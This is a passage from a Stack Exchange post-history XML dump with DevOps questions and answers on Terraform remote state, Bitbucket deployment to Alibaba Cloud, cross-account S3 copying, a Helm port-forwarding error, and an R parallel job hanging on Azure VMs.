  <row Id="24859" PostHistoryTypeId="2" PostId="8524" RevisionGUID="6af408a3-1700-47ac-bab9-640d5378435d" CreationDate="2019-07-02T19:05:09.823" UserId="246" Text="In your `terraform {...}` section you need a backend directive to store your state somewhere: https://www.terraform.io/docs/state/remote.html&#xD;&#xA;&#xD;&#xA;Terraform [init][1] will not &quot;import&quot; your existing resources and will therefore try to create new ones (and get a conflict). The Terraform documentation gives some pointers on [how to use Terraform in automation][2] and that includes using remote state.&#xD;&#xA;&#xD;&#xA;It is possible to prevent the creation of the ECR through a data block as you hinted (with `count = ...`), but doing so would feel like a hack to me.&#xD;&#xA;&#xD;&#xA;[S3 backends][3] might be the easiest to use and probably to most commonly used backends to store remote state across different executions of Terraform:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;terraform {&#xD;&#xA;  backend &quot;s3&quot; {&#xD;&#xA;    bucket = &quot;mybucket&quot;&#xD;&#xA;    key    = &quot;path/to/my/key&quot;&#xD;&#xA;    region = &quot;us-east-1&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/commands/init.html&#xD;&#xA;  [2]: https://learn.hashicorp.com/terraform/development/running-terraform-in-automation&#xD;&#xA;  [3]: https://www.terraform.io/docs/backends/types/s3.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="24860" PostHistoryTypeId="2" PostId="8525" RevisionGUID="a99e02f4-d526-4214-b2ed-879cbbaea433" CreationDate="2019-07-03T02:04:57.693" UserId="15805" Text="I have a repo on my bitbucket. I want to deploy it via bitbucket pipeline to my alibaba clouds ecs. I dont know what are steps required to manage it. " ContentLicense="CC BY-SA 4.0" />
  <row Id="24861" PostHistoryTypeId="1" PostId="8525" RevisionGUID="a99e02f4-d526-4214-b2ed-879cbbaea433" CreationDate="2019-07-03T02:04:57.693" UserId="15805" Text="How to configure bitbucket pipeline and deploy to alibaba clouds" ContentLicense="CC BY-SA 4.0" />
  <row Id="24862" PostHistoryTypeId="3" PostId="8525" RevisionGUID="a99e02f4-d526-4214-b2ed-879cbbaea433" CreationDate="2019-07-03T02:04:57.693" UserId="15805" Text="&lt;bitbucket-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24863" PostHistoryTypeId="2" PostId="8526" RevisionGUID="0ed06af8-72b5-408d-90d1-810c043644e1" CreationDate="2019-07-03T05:23:14.390" UserId="11598" Text="You can be done this task using below steps:&#xD;&#xA;&#xD;&#xA;1: Creating the Bitbucket Git Repository And Adding our Application and Docker Configurations in it&#xD;&#xA;&#xD;&#xA;2: Integrating Bitbucket with ACR&#xD;&#xA;&#xD;&#xA;3: Deploying The Application&#xD;&#xA;&#xD;&#xA;4: Securing our Application with Let’s Encrypt SSL/TLS&#xD;&#xA;&#xD;&#xA;[for full details check this:][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://medium.com/@haseeb.basil/a-basic-guide-on-how-to-deploy-an-application-to-alibaba-cloud-container-service-from-bitbucket-862139086ea4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24864" PostHistoryTypeId="2" PostId="8527" RevisionGUID="e747d36a-f0a2-4590-b370-e98aa13ff1cf" CreationDate="2019-07-03T05:30:04.103" UserId="11598" Text="**Attach a policy to the source bucket**&#xD;&#xA;&#xD;&#xA;1.    Get the AWS account ID number of the destination account.&#xD;&#xA;&#xD;&#xA;2.    From the source account, attach a policy to the source bucket that allows the destination account to get objects, similar to the following:&#xD;&#xA;&#xD;&#xA;**Important:** For the value of **Principal**, be sure to enter the AWS account ID number of the destination account.&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;        &quot;Statement&quot;: [&#xD;&#xA;            {&#xD;&#xA;                &quot;Sid&quot;: &quot;DelegateS3Access&quot;,&#xD;&#xA;                &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;                &quot;Principal&quot;: {&quot;AWS&quot;: &quot;222222222222&quot;},&#xD;&#xA;                &quot;Action&quot;: [&quot;s3:ListBucket&quot;,&quot;s3:GetObject&quot;],&#xD;&#xA;                &quot;Resource&quot;: [&#xD;&#xA;                    &quot;arn:aws:s3:::sourcebucket/*&quot;,&#xD;&#xA;                    &quot;arn:aws:s3:::sourcebucket&quot;&#xD;&#xA;                ]&#xD;&#xA;            }&#xD;&#xA;        ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**Attach a policy to a user or group in the destination account**&#xD;&#xA;&#xD;&#xA;Attach a policy to the destination account's IAM user or group that allows the user to copy objects from the source bucket to the destination bucket. The policy can be similar to the following example:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;        &quot;Statement&quot;: [&#xD;&#xA;            {&#xD;&#xA;                &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;                &quot;Action&quot;: [&#xD;&#xA;                    &quot;s3:ListBucket&quot;,&#xD;&#xA;                    &quot;s3:GetObject&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Resource&quot;: [&#xD;&#xA;                    &quot;arn:aws:s3:::sourcebucket&quot;,&#xD;&#xA;                    &quot;arn:aws:s3:::sourcebucket/*&quot;&#xD;&#xA;                ]&#xD;&#xA;            },&#xD;&#xA;            {&#xD;&#xA;                &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;                &quot;Action&quot;: [&#xD;&#xA;                    &quot;s3:ListBucket&quot;,&#xD;&#xA;                    &quot;s3:PutObject&quot;,&#xD;&#xA;                    &quot;s3:PutObjectAcl&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Resource&quot;: [&#xD;&#xA;                    &quot;arn:aws:s3:::destinationbucket&quot;,&#xD;&#xA;                    &quot;arn:aws:s3:::destinationbucket/*&quot;&#xD;&#xA;                ]&#xD;&#xA;            }&#xD;&#xA;        ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**Copy objects from the source bucket to the destination bucket**&#xD;&#xA;&#xD;&#xA;After you set up the policies on the source bucket and the destination account, the destination account can copy objects from the source bucket to the destination bucket. Then, the destination account owns the objects copied into the destination bucket.&#xD;&#xA;&#xD;&#xA;To synchronize all content from the source bucket to the destination bucket, you can run this command:&#xD;&#xA;&#xD;&#xA;    aws s3 sync s3://sourcebucket s3://destinationbucket&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;for more details check [this link][1] OR [this link][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://medium.com/tensult/copy-s3-bucket-objects-across-aws-accounts-e46c15c4b9e1&#xD;&#xA;  [2]: https://aws.amazon.com/premiumsupport/knowledge-center/copy-s3-objects-account/" ContentLicense="CC BY-SA 4.0" />
  <row Id="24865" PostHistoryTypeId="5" PostId="8520" RevisionGUID="9f254845-e20a-4791-a334-c18952c8ca91" CreationDate="2019-07-03T06:22:38.353" UserId="15787" Comment="added 150 characters in body" Text="I have a kubernetes cluster built using `kubespray` and imported to Rancher.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The nodes are configured with&#xD;&#xA;&#xD;&#xA;* CentOS Linux 7 3.10.0-957.12.1.el7.x86_64&#xD;&#xA;* Docker version : 18.9.5&#xD;&#xA;* Kubelet version : v1.14.1&#xD;&#xA;* Tiller version : v2.14.1 ( got this version from the tiller pod's image `gcr.io/kubernetes-helm/tiller:v2.14.1` )&#xD;&#xA;&#xD;&#xA;All the tiller resources are working fine:&#xD;&#xA;&#xD;&#xA;    $ kubectl get all -n kube-system | findstr tiller&#xD;&#xA;    &#xD;&#xA;    pod/tiller-deploy-57ff77d846-frtb7             1/1       Running   0          12d&#xD;&#xA;    &#xD;&#xA;    service/tiller-deploy          ClusterIP   10.233.49.112   &lt;none&gt;        44134/TCP                16d&#xD;&#xA;     &#xD;&#xA;    deployment.apps/tiller-deploy             1         1         1            1           16d&#xD;&#xA;&#xD;&#xA;    replicaset.apps/tiller-deploy-57ff77d846             1         1         1         12d&#xD;&#xA;    replicaset.apps/tiller-deploy-69d5cd79bb             0         0         0         16d&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But when I run the `helm` commands, I am getting this error:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ helm version&#xD;&#xA;&#xD;&#xA;    Client: &amp;version.Version{SemVer:&quot;v2.11.0&quot;, GitCommit:&quot;2e55dbe1fdb5fdb96b75ff144a339489417b146b&quot;, GitTreeState:&quot;clean&quot;}&#xD;&#xA;    Error: forwarding ports: error upgrading connection: Upgrade request required&#xD;&#xA;    &#xD;&#xA;    $ helm ls&#xD;&#xA;&#xD;&#xA;    Error: forwarding ports: error upgrading connection: Upgrade request required&#xD;&#xA;    &#xD;&#xA;**I tried:**&#xD;&#xA;&#xD;&#xA; - The tiller version is 2.14.1. So, upgraded the helm client to version 2.14.1 from 2.11.0. But that doesn't solves the issue.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;Can someone help me to solve this error?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24879" PostHistoryTypeId="5" PostId="8524" RevisionGUID="5c4cb5aa-6f93-42f0-b478-db6cbefdd99a" CreationDate="2019-07-03T14:16:16.463" UserId="246" Comment="Improved my answer based on additional information from OP + some clarifications" Text="In your `terraform {...}` section you need a backend directive to store your state somewhere: https://www.terraform.io/docs/state/remote.html (OP later explain that the code above is just a module imported from a main file).&#xD;&#xA;&#xD;&#xA;[S3 backends][1] might be the easiest to use and probably to most commonly used backends to store remote state across different executions of Terraform:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;terraform {&#xD;&#xA;  backend &quot;s3&quot; {&#xD;&#xA;    bucket = &quot;mybucket&quot;&#xD;&#xA;    key    = &quot;path/to/my/key&quot;&#xD;&#xA;    region = &quot;us-east-1&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Please note that Terraform [init][2] will not import existing resources into a state (there's Terraform [import][3] for that). It will therefore try to create new ones and you will get a conflict on the name. The Terraform documentation gives some pointers on [how to use Terraform in automation][4] and that includes using remote state.&#xD;&#xA;&#xD;&#xA;It is possible to prevent the creation of the ECR through a data block as you hinted (with `count = ...`), but doing so would feel like a hack to me.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Once you have your remote backend configured, you can double check that everything works as expected by using the `terraform state` command in your pipeline. I would suggest using the show subcommand on a resource you expect to be there in order to validate that the state indeed contains the resource:&#xD;&#xA;```&#xD;&#xA;terraform init -input=false&#xD;&#xA;terraform state show module.name-of-your-module.aws_ecr_repository.frontend_ecr_repo_creation&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/backends/types/s3.html&#xD;&#xA;  [2]: https://www.terraform.io/docs/commands/init.html&#xD;&#xA;  [3]: https://www.terraform.io/docs/import/&#xD;&#xA;  [4]: https://learn.hashicorp.com/terraform/development/running-terraform-in-automation" ContentLicense="CC BY-SA 4.0" />
  <row Id="24880" PostHistoryTypeId="2" PostId="8531" RevisionGUID="76bf3ec6-4ca8-42d8-bbac-61d700eaea7d" CreationDate="2019-07-03T14:40:16.263" UserId="14747" Text="The problem is with the image&#xD;&#xA;`microsoft-dsvm:linux-data-science-vm-ubuntu:linuxdsvmubuntu:18.12.01` (&quot;Linux&#xD;&#xA;Data Science VM&quot; (on the Azure portal). This is an old image with `R 3.4`&#xD;&#xA;instead of the release version of `3.5`.&#xD;&#xA;&#xD;&#xA;I succeeded with the following virtual machine (Ubuntu Server 19.04.19, size D64 v3):&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;az vm create \&#xD;&#xA;       --resource-group &lt;resource group&gt; \&#xD;&#xA;       --name &lt;name&gt; \&#xD;&#xA;       --image Canonical:UbuntuServer:19.04:19.04.201906280 \&#xD;&#xA;       --size Standard_D64_v3 \&#xD;&#xA;       --admin-username &lt;azure user&gt; \&#xD;&#xA;       --generate-ssh-keys&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and installed `R`, `Rstan`, and an SSL library for `curl` and `devtools` with:&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;sudo apt update&#xD;&#xA;sudo apt -y install r-base&#xD;&#xA;sudo apt -y install r-cran-rstan&#xD;&#xA;&#xD;&#xA;# Add LibSSL for installing curl and devtools, see:&#xD;&#xA;# https://stackoverflow.com/questions/44228055/r-rstudio-install-devtools-fails&#xD;&#xA;sudo apt-get install libcurl4-openssl-dev libssl-dev&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and the machine can use multiple cores:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Welcome to PosteriorBootstrap, a parallel approach for adaptive non-parametric learning&#xD;&#xA;[1] &quot;Speedup performance&quot;&#xD;&#xA;[1] &quot;n_bootstrap = 100&quot;&#xD;&#xA;[1] &quot;num_cores = 1&quot;&#xD;&#xA;[1] &quot;Finished sampling&quot;&#xD;&#xA;[1] &quot;num_cores = 2&quot;&#xD;&#xA;[1] &quot;Finished sampling&quot;&#xD;&#xA;...&#xD;&#xA;[1] &quot;num_cores = 64&quot;&#xD;&#xA;[1] &quot;Finished sampling&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I also checked the duration and the speedup is as I expected." ContentLicense="CC BY-SA 4.0" />
  <row Id="24881" PostHistoryTypeId="5" PostId="8064" RevisionGUID="d7a060f7-d824-4dee-af7e-a735a3d427a4" CreationDate="2019-07-03T14:40:56.727" UserId="14747" Comment="added 14 characters in body" Text="I am writing [an R package](https://github.com/alan-turing-institute/PosteriorBootstrap/) with tests using the `testthat` package. The tests pass locally and on Travis.&#xD;&#xA;&#xD;&#xA;I want to plot the benefit of parallelisation on up to 24 cores, so I set up a virtual machine programmatically on Azure:&#xD;&#xA;&#xD;&#xA;    az vm create \&#xD;&#xA;       --resource-group &lt;resource group&gt; \&#xD;&#xA;       --name &lt;name&gt; \&#xD;&#xA;       --image microsoft-dsvm:linux-data-science-vm-ubuntu:linuxdsvmubuntu:18.12.01 \&#xD;&#xA;       --size Standard_NV24 \&#xD;&#xA;       --admin-username &lt;azure user&gt; \&#xD;&#xA;       --generate-ssh-keys&#xD;&#xA;&#xD;&#xA;I call `devtools::test()` and the virtual machine gets stuck at `testthat` for hours with 0% CPU usage:&#xD;&#xA;&#xD;&#xA;    ✔  checking for unstated dependencies in ‘tests’ ...&#xD;&#xA;    ─  checking tests ...&#xD;&#xA;       Running ‘testthat.R’&#xD;&#xA;&#xD;&#xA;`devtools::test()` has no specific arguments to print some output, and it calls `testthat::test_dir()`, which also has no arguments to print output.&#xD;&#xA;&#xD;&#xA;When I remove the tests, the code stalls in a function call. I stopped and relaunched multiple times, so I think it's a problem with Azure.&#xD;&#xA;&#xD;&#xA;Other sizes of machines, `Standard_F16s_v2` and `Standard DS3 v2`, have the same problem.&#xD;&#xA;&#xD;&#xA;How can I fix it?&#xD;&#xA;&#xD;&#xA;## Update&#xD;&#xA;&#xD;&#xA;I stumbled upon the culprit when I was running another piece of code. The VM hangs when calling the R `parallel` package on multiple cores (it works fine on just one core).&#xD;&#xA;&#xD;&#xA;I added some printouts around that call:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[1] &quot;num_cores = 2&quot;&#xD;&#xA;[1] &quot;Entering parallel&quot;&#xD;&#xA;[1] &quot;Drawing 1&quot;&#xD;&#xA;[1] &quot;Drawing 2&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and then it hangs. Following the suggestion of `strace`, I launched again and see this output around this last printout:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[pid  8571] 21:41:48.718625 write(1, &quot;\n&quot;, 1[1] &quot;num_cores = 2&quot;&#xD;&#xA;) = 1&#xD;&#xA;[pid  8571] 21:41:48.719486 write(1, &quot;[1]&quot;, 3) = 3&#xD;&#xA;[pid  8571] 21:41:48.719550 write(1, &quot; \&quot;num_cores = 2\&quot;&quot;, 16) = 16&#xD;&#xA;[pid  8571] 21:41:48.719615 write(1, &quot;\n&quot;, 1) = 1&#xD;&#xA;[pid  8703] 21:41:48.730707 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4032, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8705] 21:41:48.730745 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4032, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8701] 21:41:48.730757 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4032, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8704] 21:41:48.730794 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4032, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8702] 21:41:48.730841 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4032, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8700] 21:41:48.730852 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4032, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8706] 21:41:48.731199 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4032, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8571] 21:41:48.742710 futex(0x498fcf4, FUTEX_WAKE_PRIVATE, 2147483647) = 7&#xD;&#xA;[pid  8706] 21:41:48.742831 &lt;... futex resumed&gt; ) = 0&#xD;&#xA;[pid  8705] 21:41:48.742847 &lt;... futex resumed&gt; ) = 0&#xD;&#xA;[pid  8704] 21:41:48.742858 &lt;... futex resumed&gt; ) = 0&#xD;&#xA;[pid  8703] 21:41:48.742868 &lt;... futex resumed&gt; ) = 0&#xD;&#xA;[pid  8702] 21:41:48.742878 &lt;... futex resumed&gt; ) = 0&#xD;&#xA;[pid  8701] 21:41:48.742888 &lt;... futex resumed&gt; ) = 0&#xD;&#xA;[pid  8700] 21:41:48.742899 &lt;... futex resumed&gt; ) = 0&#xD;&#xA;[pid  8700] 21:41:48.742931 futex(0x87da514, FUTEX_WAKE_PRIVATE, 2147483647) = 0&#xD;&#xA;[1] &quot;Entering parallel&quot;&#xD;&#xA;[pid  8700] 21:41:48.743001 futex(0x87da514, FUTEX_WAKE_PRIVATE, 2147483647) = 0&#xD;&#xA;[pid  8571] 21:41:48.743411 write(1, &quot;[1]&quot;, 3) = 3&#xD;&#xA;[pid  8571] 21:41:48.743485 write(1, &quot; \&quot;Entering parallel\&quot;&quot;, 20) = 20&#xD;&#xA;[pid  8571] 21:41:48.743545 write(1, &quot;\n&quot;, 1) = 1&#xD;&#xA;[pid  8571] 21:41:48.743946 pipe([4, 11]) = 0&#xD;&#xA;[pid  8571] 21:41:48.744019 pipe([12, 13]) = 0&#xD;&#xA;[pid  8571] 21:41:48.744096 rt_sigaction(SIGCHLD, {0x7fdc52d45d40, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7fdc693d1390}, NULL, 8) = 0&#xD;&#xA;[pid  8571] 21:41:48.744160 clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fdc6f002a90) = 8708&#xD;&#xA;strace: Process 8708 attached&#xD;&#xA;[pid  8708] 21:41:48.746022 set_robust_list(0x7fdc6f002aa0, 24) = 0&#xD;&#xA;[pid  8571] 21:41:48.746478 close(11)   = 0&#xD;&#xA;[pid  8708] 21:41:48.746529 rt_sigaction(SIGCHLD, {SIG_DFL, [CHLD], SA_RESTORER|SA_RESTART, 0x7fdc6902b4b0},  &lt;unfinished ...&gt;&#xD;&#xA;[pid  8571] 21:41:48.746549 close(12 &lt;unfinished ...&gt;&#xD;&#xA;[pid  8708] 21:41:48.746559 &lt;... rt_sigaction resumed&gt; {0x7fdc52d45d40, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7fdc693d1390}, 8) = 0&#xD;&#xA;[pid  8571] 21:41:48.746571 &lt;... close resumed&gt; ) = 0&#xD;&#xA;[pid  8708] 21:41:48.746581 close(4)    = 0&#xD;&#xA;[pid  8708] 21:41:48.746643 dup2(12, 0) = 0&#xD;&#xA;[pid  8708] 21:41:48.746704 close(12)   = 0&#xD;&#xA;[pid  8708] 21:41:48.746764 rt_sigaction(SIGUSR1, {0x7fdc52d45a90, [USR1], SA_RESTORER|SA_RESTART, 0x7fdc6902b4b0}, {0x7fdc6ce94550, [USR1], SA_RESTORER|SA_RESTART, 0x7fdc6902b4b0}, 8) = 0&#xD;&#xA;[pid  8571] 21:41:48.748205 pipe([11, 12]) = 0&#xD;&#xA;[pid  8571] 21:41:48.748280 pipe([14, 15]) = 0&#xD;&#xA;[pid  8571] 21:41:48.748350 rt_sigaction(SIGCHLD, {0x7fdc52d45d40, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7fdc693d1390}, NULL, 8) = 0&#xD;&#xA;[pid  8571] 21:41:48.748410 clone([1] &quot;Drawing 1&quot;&#xD;&#xA; &lt;unfinished ...&gt;&#xD;&#xA;[pid  8708] 21:41:48.749158 write(1, &quot;[1]&quot;, 3) = 3&#xD;&#xA;[pid  8708] 21:41:48.749242 write(1, &quot; \&quot;Drawing 1\&quot;&quot;, 12) = 12&#xD;&#xA;[pid  8708] 21:41:48.749300 write(1, &quot;\n&quot;, 1) = 1&#xD;&#xA;[pid  8571] 21:41:48.750225 &lt;... clone resumed&gt; child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fdc6f002a90) = 8709&#xD;&#xA;strace: Process 8709 attached&#xD;&#xA;[pid  8709] 21:41:48.750313 set_robust_list(0x7fdc6f002aa0, 24) = 0&#xD;&#xA;[pid  8571] 21:41:48.750630 close(12)   = 0&#xD;&#xA;[pid  8571] 21:41:48.750695 close(14)   = 0&#xD;&#xA;[pid  8709] 21:41:48.750829 rt_sigaction(SIGCHLD, {SIG_DFL, [CHLD], SA_RESTORER|SA_RESTART, 0x7fdc6902b4b0}, {0x7fdc52d45d40, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7fdc693d1390}, 8) = 0&#xD;&#xA;[pid  8709] 21:41:48.750908 close(11)   = 0&#xD;&#xA;[pid  8709] 21:41:48.750976 dup2(14, 0) = 0&#xD;&#xA;[pid  8709] 21:41:48.751050 close(14)   = 0&#xD;&#xA;[pid  8709] 21:41:48.751119 rt_sigaction(SIGUSR1, {0x7fdc52d45a90, [USR1], SA_RESTORER|SA_RESTART, 0x7fdc6902b4b0}, {0x7fdc6ce94550, [USR1], SA_RESTORER|SA_RESTART, 0x7fdc6902b4b0}, 8) = 0&#xD;&#xA;[1] &quot;Drawing 2&quot;&#xD;&#xA;[pid  8571] 21:41:48.752325 wait4(-1, 0x7ffd95fddc44, WNOHANG, NULL) = 0&#xD;&#xA;[pid  8571] 21:41:48.752392 select(12, [4 11], NULL, NULL, {1, 0} &lt;unfinished ...&gt;&#xD;&#xA;[pid  8709] 21:41:48.753053 write(1, &quot;[1]&quot;, 3) = 3&#xD;&#xA;[pid  8709] 21:41:48.753138 write(1, &quot; \&quot;Drawing 2\&quot;&quot;, 12) = 12&#xD;&#xA;[pid  8709] 21:41:48.753202 write(1, &quot;\n&quot;, 1) = 1&#xD;&#xA;[pid  8708] 21:41:48.755113 futex(0x498fcf4, FUTEX_WAKE_PRIVATE, 2147483647) = 0&#xD;&#xA;[pid  8704] 21:41:48.756406 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4040, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8703] 21:41:48.756424 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4040, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8701] 21:41:48.756557 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4040, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8702] 21:41:48.756625 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4040, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8705] 21:41:48.756769 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4040, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8700] 21:41:48.757066 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4040, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8706] 21:41:48.757184 futex(0x498fcf4, FUTEX_WAIT_PRIVATE, 4040, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8709] 21:41:48.758569 futex(0x498fcf4, FUTEX_WAKE_PRIVATE, 2147483647) = 0&#xD;&#xA;[pid  8708] 21:41:48.768419 futex(0x88b9a04, FUTEX_WAIT_PRIVATE, 0, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8709] 21:41:48.772260 futex(0x88b9a04, FUTEX_WAIT_PRIVATE, 0, NULL &lt;unfinished ...&gt;&#xD;&#xA;[pid  8602] 21:41:48.993871 &lt;... futex resumed&gt; ) = -1 ETIMEDOUT (Connection timed out)&#xD;&#xA;[pid  8602] 21:41:48.993914 clock_gettime(CLOCK_REALTIME, {1558734108, 993928682}) = 0&#xD;&#xA;[pid  8602] 21:41:48.993978 futex(0x10e40a8, FUTEX_WAKE_PRIVATE, 1) = 0&#xD;&#xA;[pid  8602] 21:41:48.994032 clock_gettime(CLOCK_REALTIME, {1558734108, 994048584}) = 0&#xD;&#xA;[pid  8602] 21:41:48.994096 futex(0x10e40dc, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 25, {1558734109, 994048584}, ffffffff &lt;unfinished ...&gt;&#xD;&#xA;[pid  8571] 21:41:49.753515 &lt;... select resumed&gt; ) = 0 (Timeout)&#xD;&#xA;[pid  8571] 21:41:49.753623 wait4(-1, 0x7ffd95fddc44, WNOHANG, NULL) = 0&#xD;&#xA;[pid  8571] 21:41:49.753688 select(12, [4 11], NULL, NULL, {1, 0} &lt;unfinished ...&gt;&#xD;&#xA;[pid  8602] 21:41:49.994210 &lt;... futex resumed&gt; ) = -1 ETIMEDOUT (Connection timed out)&#xD;&#xA;[pid  8602] 21:41:49.994299 clock_gettime(CLOCK_REALTIME, {1558734109, 994341104}) = 0&#xD;&#xA;[pid  8602] 21:41:49.994442 futex(0x10e40a8, FUTEX_WAKE_PRIVATE, 1) = 0&#xD;&#xA;[pid  8602] 21:41:49.994590 clock_gettime(CLOCK_REALTIME, {1558734109, 994614207}) = 0&#xD;&#xA;[pid  8602] 21:41:49.994663 futex(0x10e40dc, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 27, {1558734110, 994614207}, ffffffff &lt;unfinished ...&gt;&#xD;&#xA;[pid  8571] 21:41:50.754833 &lt;... select resumed&gt; ) = 0 (Timeout)&#xD;&#xA;[pid  8571] 21:41:50.754971 wait4(-1, 0x7ffd95fddc44, WNOHANG, NULL) = 0&#xD;&#xA;[pid  8571] 21:41:50.755117 select(12, [4 11], NULL, NULL, {1, 0} &lt;unfinished ...&gt;&#xD;&#xA;[pid  8602] 21:41:50.994707 &lt;... futex resumed&gt; ) = -1 ETIMEDOUT (Connection timed out)&#xD;&#xA;[pid  8602] 21:41:50.994748 clock_gettime(CLOCK_REALTIME, {1558734110, 994763726}) = 0&#xD;&#xA;[pid  8602] 21:41:50.994816 futex(0x10e40a8, FUTEX_WAKE_PRIVATE, 1) = 0&#xD;&#xA;[pid  8602] 21:41:50.994879 clock_gettime(CLOCK_REALTIME, {1558734110, 994894827}) = 0&#xD;&#xA;[pid  8602] 21:41:50.994944 futex(0x10e40dc, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 29, {1558734111, 994894827}, ffffffff &lt;unfinished ...&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The rest of the log is a repetition of the last few lines.&#xD;&#xA;&#xD;&#xA;I think that the parent process is 8571, the first spawned process is 8708, which prints `Drawing 1`, and the second spawned process is 8709, which prints `Drawing 2`. Then the parent process lists a `wait4(-1, 0x7ffd95fddc44, WNOHANG, NULL) = 0`, process 8602 lists a `&lt;... futex resumed&gt; ) = -1 ETIMEDOUT (Connection timed out)`. I have never used `strace` and could not go beyond that.&#xD;&#xA;&#xD;&#xA;I have pushed the code to [this Github branch](https://github.com/alan-turing-institute/PosteriorBootstrap/tree/62-fix-azure), commit 1b3d1f6, if you want to reproduce the problem. Pull the code from the branch, and run `azure-parallel/deploy_azure.sh` on a terminal (if you have the [Azure Command-Line-Interface](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli-macos?view=azure-cli-latest) and are logged in), or change the code a bit to use the IP address of a existing virtual machine.&#xD;&#xA;&#xD;&#xA;Has anyone succeeded in running parallel on Azure recently? If so, what were the virtual machine and image?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24883" PostHistoryTypeId="5" PostId="3271" RevisionGUID="4641e33e-cd14-4906-bd7d-cb12e10a0c5a" CreationDate="2019-07-03T16:46:13.413" UserId="354" Comment="Beautify the answer" Text="If you wish to do it purely with AWS provided tools, try the following:&#xD;&#xA;&#xD;&#xA;1. figure out a tagging scheme that works for you&#xD;&#xA;1. tag all the resources you provision, make sure nothing is left untagged&#xD;&#xA;1. for stuff you provision outside of the terraform and are not always tagged correctly by your tagging scheme, use AWS Config service to enforce the tagging scheme&#xD;&#xA;&#xD;&#xA;After you have all of your resources tagged, use AWS Budgets to monitor and tracked down changes in you spend and get alerts when it crosses the budget threshold you define.&#xD;&#xA;&#xD;&#xA;Also, create and periodically review some reports within the AWS Costs Explorer to find daily changes in region spend / service spend / _etc_.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Using a strict and meaningful 